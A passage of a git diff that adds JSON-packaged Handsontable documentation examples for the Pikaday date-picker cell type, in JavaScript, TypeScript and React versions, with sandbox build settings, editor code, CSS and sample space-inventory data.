editor.pickaday.adjustDate('subtract', 7);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowDown']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pickaday.adjustDate('add', 7);\n _event.preventDefault();\n },\n },\n ],\n init(editor) {\n editor.parentDestroyed = false;\n // create the input element on init. This is a text input that color picker will be attached to.\n editor.input = editor.hot.rootDocument.createElement('INPUT');\n // editor.showDatepicker = (editor, event) => {\n editor.datePicker = editor.container;\n /**\n * Prevent recognizing clicking on datepicker as clicking outside of table.\n */\n editor.hot.rootDocument.addEventListener('mousedown', (event) => {\n if (event.target && event.target.classList.contains('pika-day')) {\n editor.hideDatepicker(editor);\n }\n });\n // TODO: fix this https://github.com/handsontable/dev-handsontable/issues/3004\n // @ts-ignore\n // editor.hot.rootPortalElement.appendChild(editor.datePicker);\n },\n // afterInit(editor) {\n // editor.pickaday = new Pikaday(editor.getDatePickerConfig(editor));\n // },\n getDatePickerConfig(editor) {\n const htInput = editor.input;\n const options = {};\n\n if (editor.cellProperties && editor.cellProperties.datePickerConfig) {\n Object.assign(options, editor.cellProperties.datePickerConfig);\n }\n\n const origOnSelect = options.onSelect;\n const origOnClose = options.onClose;\n\n options.field = htInput;\n options.trigger = htInput;\n options.container = editor.datePicker;\n options.bound = false;\n options.keyboardInput = false;\n options.format = options.format ?? editor.getDateFormat(editor);\n options.reposition = options.reposition || false;\n // Set the RTL to `false`. Due to the https://github.com/Pikaday/Pikaday/issues/647 bug, the layout direction\n // of the date picker is controlled by juggling the \"dir\" attribute of the root date picker element.\n options.isRTL = false;\n options.onSelect = function (date) {\n let dateStr;\n\n if (!isNaN(date.getTime())) {\n dateStr = moment(date).format(editor.getDateFormat(editor));\n }\n\n editor.setValue(dateStr);\n\n if (origOnSelect) {\n origOnSelect.call(editor.pickaday, date);\n }\n\n if (Handsontable.helper.isMobileBrowser()) {\n editor.hideDatepicker(editor);\n }\n };\n options.onClose = () => {\n if (!editor.parentDestroyed) {\n editor.finishEditing(false);\n }\n\n if (origOnClose) {\n origOnClose();\n }\n };\n\n return options;\n },\n hideDatepicker(editor) {\n editor.pickaday.hide();\n },\n showDatepicker(editor, event) {\n const dateFormat = editor.getDateFormat(editor);\n // TODO: view is not exported in the handsontable library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n const isMouseDown = editor.hot.view.isMouseDown();\n const isMeta = event && 'keyCode' in event ? Handsontable.helper.isFunctionKey(event.keyCode) : false;\n\n let dateStr;\n\n editor.datePicker.style.display = 'block';\n editor.pickaday = new Pikaday(editor.getDatePickerConfig(editor));\n\n // TODO: useMoment is not exported in the pikaday library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n if (typeof editor.pickaday.useMoment === 'function') {\n // @ts-ignore\n editor.pickaday.useMoment(moment);\n }\n\n // TODO: _onInputFocus is not exported in the pikaday library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n editor.pickaday._onInputFocus = function () {};\n\n if (editor.originalValue) {\n dateStr = editor.originalValue;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pickaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n // workaround for date/time cells - pikaday resets the cell value to 12:00 AM by default, this will overwrite the value.\n if (editor.getValue() !== editor.originalValue) {\n editor.setValue(editor.originalValue);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else if (editor.cellProperties.defaultDate) {\n dateStr = editor.cellProperties.defaultDate;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pickaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else {\n // if a default date is not defined, set a soft-default-date: display the current day and month in the\n // datepicker, but don't fill the editor input\n editor.pickaday.gotoToday();\n }\n },\n afterClose(editor) {\n if (editor.pickaday.destroy) {\n editor.pickaday.destroy();\n }\n },\n afterOpen(editor, event) {\n const cellRect = editor.TD.getBoundingClientRect();\n\n editor.input.style.width = `${cellRect.width}px`;\n editor.input.style.height = `${cellRect.height}px`;\n editor.showDatepicker(editor, event);\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n getDateFormat(editor) {\n return editor.cellProperties.dateFormat ?? DEFAULT_DATE_FORMAT;\n },\n }),\n};\n\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data,\n height: 'auto',\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Restock Date', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'restockDate',\n width: 150,\n allowInvalid: false,\n ...cellDefinition,\n renderFormat: DATE_FORMAT_US,\n dateFormat: DATE_FORMAT_US,\n defaultDate: '01/01/2020',\n datePickerConfig: {\n firstDay: 0,\n showWeekNumber: true,\n disableDayFn(date) {\n return date.getDay() === 0 || date.getDay() === 6;\n },\n },\n },\n {\n data: 'cost',\n type: 'numeric',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".ht_editor_visible > input {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n margin-top: -1px;\n margin-left: -1px;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: var(--ht-font-size);\n line-height: var(--ht-line-height);\n}\n.ht_editor_visible > input:focus-visible {\n border: none !important;\n outline: none !important;\n}"},"docsPath":"recipes/cell-types/pikaday/javascript/example1.js","breadcrumb":["Recipes","Cell Types","Pikaday"],"guide":"recipes/cell-types/pikaday/pikaday.md","guideTitle":"Pikaday","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/pikaday","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__javascript__example1.ts.json new file mode 100644 index 00000000..0cc3680f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Cell Types ▸ Pikaday · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"moment\": \"2.30.1\",\n \"@handsontable/pikaday\": \"1.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from \"handsontable/base\";\nimport { registerAllModules } from \"handsontable/registry\";\nimport moment from \"moment\";\nimport Pikaday from \"@handsontable/pikaday\";\nimport { CellProperties } from \"handsontable/settings\";\nimport { editorFactory } from \"handsontable/editors\";\nimport { rendererFactory } from \"handsontable/renderers\";\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst DATE_FORMAT_US = \"MM/DD/YYYY\";\nconst DEFAULT_DATE_FORMAT = DATE_FORMAT_US;\n\n/* start:skip-in-preview */\n\nconst inputData = [\n {\n id: 640329,\n itemName: \"Lunar Core\",\n itemNo: \"XJ-12\",\n leadEngineer: \"Ellen Ripley\",\n cost: 350000,\n inStock: true,\n category: \"Lander\",\n itemQuality: 87,\n origin: \"🇺🇸 USA\",\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: \"TechNova\",\n restockDate: \"2025-08-01\",\n operationalStatus: \"Awaiting Parts\",\n },\n {\n id: 863104,\n itemName: \"Zero Thrusters\",\n itemNo: \"QL-54\",\n leadEngineer: \"Sam Bell\",\n cost: 450000,\n inStock: false,\n category: \"Propulsion\",\n itemQuality: 0,\n origin: \"🇩🇪 Germany\",\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: \"PropelMax\",\n restockDate: \"2025-09-15\",\n operationalStatus: \"In Maintenance\",\n },\n {\n id: 395603,\n itemName: \"EVA Suits\",\n itemNo: \"PM-67\",\n leadEngineer: \"Alex Rogan\",\n cost: 150000,\n inStock: true,\n category: \"Equipment\",\n itemQuality: 79,\n origin: \"🇮🇹 Italy\",\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: \"SuitCraft\",\n restockDate: \"2025-10-05\",\n operationalStatus: \"Ready for Testing\",\n },\n {\n id: 679083,\n itemName: \"Solar Panels\",\n itemNo: \"BW-09\",\n leadEngineer: \"Dave Bowman\",\n cost: 75000,\n inStock: true,\n category: \"Energy\",\n itemQuality: 95,\n origin: \"🇺🇸 USA\",\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: \"SolarStream\",\n restockDate: \"2025-11-10\",\n operationalStatus: \"Operational\",\n },\n {\n id: 912663,\n itemName: \"Comm Array\",\n itemNo: \"ZR-56\",\n leadEngineer: \"Louise Banks\",\n cost: 125000,\n inStock: false,\n category: \"Communication\",\n itemQuality: 0,\n origin: \"🇯🇵 Japan\",\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: \"CommTech\",\n restockDate: \"2025-12-20\",\n operationalStatus: \"Decommissioned\",\n },\n {\n id: 315806,\n itemName: \"Habitat Dome\",\n itemNo: \"UJ-23\",\n leadEngineer: \"Dr. Ryan Stone\",\n cost: 1000000,\n inStock: true,\n category: \"Shelter\",\n itemQuality: 93,\n origin: \"🇨🇦 Canada\",\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: \"DomeInnovate\",\n restockDate: \"2026-01-25\",\n operationalStatus: \"Operational\",\n },\n {\n id: 954632,\n itemName: \"Oxygen Unit\",\n itemNo: \"FK-87\",\n leadEngineer: \"Dr. Grace Augustine\",\n cost: 600000,\n inStock: true,\n category: \"Life Support\",\n itemQuality: 85,\n origin: \"🇺🇸 USA\",\n quantity: 15,\n valueStock: 9000000,\n repairable: true,\n supplierName: \"OxyGenius\",\n restockDate: \"2026-03-02\",\n operationalStatus: \"Awaiting Parts\",\n },\n {\n id: 734944,\n itemName: \"Processing Rig\",\n itemNo: \"LK-13\",\n leadEngineer: \"Jake Sully\",\n cost: 350000,\n inStock: true,\n category: \"Mining\",\n itemQuality: 81,\n origin: \"🇦🇺 Australia\",\n quantity: 25,\n valueStock: 8750000,\n repairable: true,\n supplierName: \"RigTech\",\n restockDate: \"2026-04-15\",\n operationalStatus: \"Ready for Testing\",\n },\n {\n id: 834662,\n itemName: \"Navigation\",\n itemNo: \"XP-24\",\n leadEngineer: \"Dr. Ellie Arroway\",\n cost: 450000,\n inStock: true,\n category: \"Navigation\",\n itemQuality: 89,\n origin: \"🇫🇷 France\",\n quantity: 8,\n valueStock: 3600000,\n repairable: false,\n supplierName: \"NavSolutions\",\n restockDate: \"2026-05-30\",\n operationalStatus: \"In Maintenance\",\n },\n {\n id: 714329,\n itemName: \"Surveyor Arm\",\n itemNo: \"QA-86\",\n leadEngineer: \"Mark Watney\",\n cost: 100000,\n inStock: true,\n category: \"Exploration\",\n itemQuality: 78,\n origin: \"🇺🇸 USA\",\n quantity: 40,\n valueStock: 4000000,\n repairable: true,\n supplierName: \"ExploreTech\",\n restockDate: \"2026-07-12\",\n operationalStatus: \"Decommissioned\",\n },\n];\n\nconst data = inputData.map((item) => ({\n ...item,\n restockDate: moment(new Date(item.restockDate)).format(DATE_FORMAT_US),\n}));\n\n/* end:skip-in-preview */\n\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector(\"#example1\")!;\n\ntype EditorPropertiesType = {\n input: HTMLInputElement;\n pickaday: Pikaday;\n datePicker: HTMLDivElement;\n parentDestroyed: boolean;\n};\n\n// Helper type to extract the editor type from factory callbacks\ntype FactoryEditorType = Parameters<\n Parameters<\n typeof editorFactory\n >[0][\"init\"]\n>[0];\n\ntype EditorMethodsType = {\n showDatepicker: (\n editor: FactoryEditorType,\n event: Event | undefined,\n ) => void;\n hideDatepicker: (\n editor: FactoryEditorType,\n ) => void;\n getDatePickerConfig: (\n editor: FactoryEditorType,\n ) => Pikaday.PikadayOptions;\n getDateFormat: (\n editor: FactoryEditorType,\n ) => string;\n};\n\nconst cellDefinition: Pick<\n CellProperties,\n \"renderer\" | \"validator\" | \"editor\"\n> = {\n renderer: rendererFactory(({ td, value, cellProperties }) => {\n td.innerText = moment(new Date(value), cellProperties.renderFormat).format(\n cellProperties.renderFormat,\n );\n }),\n\n editor: editorFactory<\n EditorPropertiesType,\n EditorMethodsType\n >({\n position: \"portal\",\n shortcuts: [{\n keys: [[\"ArrowLeft\"]],\n callback: (editor, _event) => {\n //@ts-ignore\n editor.pickaday.adjustDate(\"subtract\", 1);\n _event.preventDefault();\n },\n }, {\n keys: [[\"ArrowRight\"]],\n callback: (editor, _event) => {\n //@ts-ignore\n editor.pickaday.adjustDate(\"add\", 1);\n _event.preventDefault();\n },\n }, {\n keys: [[\"ArrowUp\"]],\n callback: (editor, _event) => {\n //@ts-ignore\n editor.pickaday.adjustDate(\"subtract\", 7);\n _event.preventDefault();\n },\n }, {\n keys: [[\"ArrowDown\"]],\n callback: (editor, _event) => {\n //@ts-ignore\n editor.pickaday.adjustDate(\"add\", 7);\n _event.preventDefault();\n },\n }],\n init(editor) {\n editor.parentDestroyed = false;\n // create the input element on init. This is a text input that color picker will be attached to.\n editor.input = editor.hot.rootDocument.createElement(\n \"INPUT\",\n ) as HTMLInputElement;\n\n //editor.showDatepicker = (editor, event) => {\n editor.datePicker = editor.container;\n\n /**\n * Prevent recognizing clicking on datepicker as clicking outside of table.\n */\n editor.hot.rootDocument.addEventListener(\"mousedown\", (event) => {\n if (\n event.target &&\n (event.target as HTMLElement).classList.contains(\"pika-day\")\n ) {\n editor.hideDatepicker(editor);\n }\n });\n\n // TODO: fix this https://github.com/handsontable/dev-handsontable/issues/3004\n // @ts-ignore\n // editor.hot.rootPortalElement.appendChild(editor.datePicker);\n },\n // afterInit(editor) {\n // editor.pickaday = new Pikaday(editor.getDatePickerConfig(editor));\n // },\n getDatePickerConfig(editor) {\n const htInput = editor.input;\n const options: Pikaday.PikadayOptions = {};\n\n if (editor.cellProperties && editor.cellProperties.datePickerConfig) {\n Object.assign(options, editor.cellProperties.datePickerConfig);\n }\n const origOnSelect = options.onSelect;\n const origOnClose = options.onClose;\n\n options.field = htInput;\n options.trigger = htInput;\n options.container = editor.datePicker;\n options.bound = false;\n options.keyboardInput = false;\n options.format = options.format ?? editor.getDateFormat(editor);\n options.reposition = options.reposition || false;\n // Set the RTL to `false`. Due to the https://github.com/Pikaday/Pikaday/issues/647 bug, the layout direction\n // of the date picker is controlled by juggling the \"dir\" attribute of the root date picker element.\n options.isRTL = false;\n options.onSelect = function (date) {\n let dateStr;\n\n if (!isNaN(date.getTime())) {\n dateStr = moment(date).format(editor.getDateFormat(editor));\n }\n editor.setValue(dateStr);\n\n if (origOnSelect) {\n origOnSelect.call(editor.pickaday, date);\n }\n\n if (Handsontable.helper.isMobileBrowser()) {\n editor.hideDatepicker(editor);\n }\n };\n options.onClose = () => {\n if (!editor.parentDestroyed) {\n editor.finishEditing(false);\n }\n if (origOnClose) {\n origOnClose();\n }\n };\n\n return options;\n },\n hideDatepicker(editor) {\n editor.pickaday.hide();\n },\n showDatepicker(editor, event) {\n const dateFormat = editor.getDateFormat(editor);\n // TODO: view is not exported in the handsontable library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n const isMouseDown = editor.hot.view.isMouseDown();\n const isMeta = event && \"keyCode\" in event\n ? Handsontable.helper.isFunctionKey((event as KeyboardEvent).keyCode)\n : false;\n let dateStr;\n\n editor.datePicker.style.display = \"block\";\n\n editor.pickaday = new Pikaday(editor.getDatePickerConfig(editor));\n\n // TODO: useMoment is not exported in the pikaday library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n if (typeof editor.pickaday.useMoment === \"function\") {\n // @ts-ignore\n editor.pickaday.useMoment(moment);\n }\n // TODO: _onInputFocus is not exported in the pikaday library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n editor.pickaday._onInputFocus = function () {};\n\n if (editor.originalValue) {\n dateStr = editor.originalValue;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pickaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n // workaround for date/time cells - pikaday resets the cell value to 12:00 AM by default, this will overwrite the value.\n if (editor.getValue() !== editor.originalValue) {\n editor.setValue(editor.originalValue);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue(\"\");\n }\n } else if (editor.cellProperties.defaultDate) {\n dateStr = editor.cellProperties.defaultDate;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pickaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue(\"\");\n }\n } else {\n // if a default date is not defined, set a soft-default-date: display the current day and month in the\n // datepicker, but don't fill the editor input\n editor.pickaday.gotoToday();\n }\n },\n afterClose(editor) {\n if (editor.pickaday.destroy) {\n editor.pickaday.destroy();\n }\n },\n\n afterOpen(editor, event) {\n const cellRect = editor.TD.getBoundingClientRect();\n\n editor.input.style.width = `${cellRect.width}px`;\n editor.input.style.height = `${cellRect.height}px`;\n editor.showDatepicker(editor, event);\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n getDateFormat(\n editor: FactoryEditorType,\n ) {\n return editor.cellProperties.dateFormat ?? DEFAULT_DATE_FORMAT;\n },\n }),\n};\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data,\n height: \"auto\",\n colHeaders: [\"Item Name\", \"Category\", \"Lead Engineer\", \"Restock Date\", \"Cost\"],\n autoRowSize: true,\n rowHeaders: true,\n width: \"100%\",\n autoWrapRow: true,\n headerClassName: \"htLeft\",\n columns: [\n { data: \"itemName\", type: \"text\", width: 130 },\n { data: \"category\", type: \"text\", width: 120 },\n { data: \"leadEngineer\", type: \"text\", width: 150 },\n {\n data: \"restockDate\",\n width: 150,\n allowInvalid: false,\n ...cellDefinition,\n renderFormat: DATE_FORMAT_US,\n dateFormat: DATE_FORMAT_US,\n defaultDate: \"01/01/2020\",\n datePickerConfig: {\n firstDay: 0,\n showWeekNumber: true,\n disableDayFn(date: Date) {\n return date.getDay() === 0 || date.getDay() === 6;\n },\n },\n },\n {\n data: \"cost\",\n type: \"numeric\",\n width: 120,\n className: \"htRight\",\n numericFormat: {\n pattern: \"$0,0.00\",\n culture: \"en-US\",\n },\n },\n ],\n licenseKey: \"non-commercial-and-evaluation\",\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".ht_editor_visible > input {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n margin-top: -1px;\n margin-left: -1px;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: var(--ht-font-size);\n line-height: var(--ht-line-height);\n}\n.ht_editor_visible > input:focus-visible {\n border: none !important;\n outline: none !important;\n}"},"docsPath":"recipes/cell-types/pikaday/javascript/example1.ts","breadcrumb":["Recipes","Cell Types","Pikaday"],"guide":"recipes/cell-types/pikaday/pikaday.md","guideTitle":"Pikaday","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/pikaday","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__react__example1.tsx.json new file mode 100644 index 00000000..cbd89961 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Cell Types ▸ Pikaday · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"moment\": \"2.30.1\",\n \"@handsontable/pikaday\": \"1.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport moment from 'moment';\nimport Pikaday from '@handsontable/pikaday';\nimport { editorFactory } from 'handsontable/editors';\nimport { rendererFactory } from 'handsontable/renderers';\nimport Handsontable from 'handsontable/base';\nimport './example1.css';\n\nregisterAllModules();\n\nconst DATE_FORMAT_US = 'MM/DD/YYYY';\nconst DEFAULT_DATE_FORMAT = DATE_FORMAT_US;\n\ninterface PikadayEditorInstance {\n parentDestroyed: boolean;\n input: HTMLInputElement;\n datePicker: HTMLElement;\n pickaday: Pikaday;\n}\n\nconst pikadayRenderer = rendererFactory(({ td, value, cellProperties }) => {\n td.innerText = value ? moment(new Date(value as string), cellProperties.renderFormat).format(cellProperties.renderFormat) : '';\n});\n\nconst pikadayEditor = editorFactory({\n position: 'portal',\n shortcuts: [\n {\n keys: [['ArrowLeft']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pickaday.adjustDate('subtract', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowRight']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pickaday.adjustDate('add', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowUp']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pickaday.adjustDate('subtract', 7);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowDown']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pickaday.adjustDate('add', 7);\n _event.preventDefault();\n },\n },\n ],\n init(editor) {\n editor.parentDestroyed = false;\n editor.input = editor.hot.rootDocument.createElement('INPUT') as HTMLInputElement;\n editor.datePicker = editor.container;\n editor.hot.rootDocument.addEventListener('mousedown', (event: MouseEvent) => {\n const target = event.target as Element;\n\n if (target && target.classList.contains('pika-day')) {\n editor.hideDatepicker(editor);\n }\n });\n },\n getDatePickerConfig(editor: any) {\n const htInput = editor.input;\n const options: Record = {};\n\n if (editor.cellProperties && editor.cellProperties.datePickerConfig) {\n Object.assign(options, editor.cellProperties.datePickerConfig);\n }\n\n const origOnSelect = options.onSelect;\n const origOnClose = options.onClose;\n\n options.field = htInput;\n options.trigger = htInput;\n options.container = editor.datePicker;\n options.bound = false;\n options.keyboardInput = false;\n options.format = options.format ?? editor.getDateFormat(editor);\n options.reposition = options.reposition || false;\n options.isRTL = false;\n options.onSelect = function (date: Date) {\n let dateStr: string | undefined;\n\n if (!isNaN(date.getTime())) {\n dateStr = moment(date).format(editor.getDateFormat(editor));\n }\n\n editor.setValue(dateStr);\n\n if (origOnSelect) {\n origOnSelect.call(editor.pickaday, date);\n }\n\n if (Handsontable.helper.isMobileBrowser()) {\n editor.hideDatepicker(editor);\n }\n };\n options.onClose = () => {\n if (!editor.parentDestroyed) {\n editor.finishEditing(false);\n }\n\n if (origOnClose) {\n origOnClose();\n }\n };\n\n return options;\n },\n hideDatepicker(editor: any) {\n editor.pickaday.hide();\n },\n showDatepicker(editor: any, event: Event) {\n const dateFormat = editor.getDateFormat(editor);\n // @ts-ignore\n const isMouseDown = editor.hot.view.isMouseDown();\n const isMeta =\n event && 'keyCode' in event ? Handsontable.helper.isFunctionKey((event as KeyboardEvent).keyCode) : false;\n\n let dateStr: string;\n\n editor.datePicker.style.display = 'block';\n editor.pickaday = new Pikaday(editor.getDatePickerConfig(editor));\n\n // @ts-ignore\n if (typeof editor.pickaday.useMoment === 'function') {\n // @ts-ignore\n editor.pickaday.useMoment(moment);\n }\n\n // @ts-ignore\n editor.pickaday._onInputFocus = function () {};\n\n if (editor.originalValue) {\n dateStr = editor.originalValue;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pickaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n if (editor.getValue() !== editor.originalValue) {\n editor.setValue(editor.originalValue);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else if (editor.cellProperties.defaultDate) {\n dateStr = editor.cellProperties.defaultDate;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pickaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else {\n editor.pickaday.gotoToday();\n }\n },\n afterClose(editor: any) {\n if (editor.pickaday.destroy) {\n editor.pickaday.destroy();\n }\n },\n afterOpen(editor: any, event: Event) {\n const cellRect = editor.TD.getBoundingClientRect();\n\n editor.input.style.width = `${cellRect.width}px`;\n editor.input.style.height = `${cellRect.height}px`;\n editor.showDatepicker(editor, event);\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n getDateFormat(editor: any): string {\n return editor.cellProperties.dateFormat ?? DEFAULT_DATE_FORMAT;\n },\n});\n\n/* start:skip-in-preview */\ninterface InventoryItem {\n id: number;\n itemName: string;\n itemNo: string;\n leadEngineer: string;\n cost: number;\n inStock: boolean;\n category: string;\n itemQuality: number;\n origin: string;\n quantity: number;\n valueStock: number;\n repairable: boolean;\n supplierName: string;\n restockDate: string;\n operationalStatus: string;\n}\n\nconst inputData: InventoryItem[] = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: 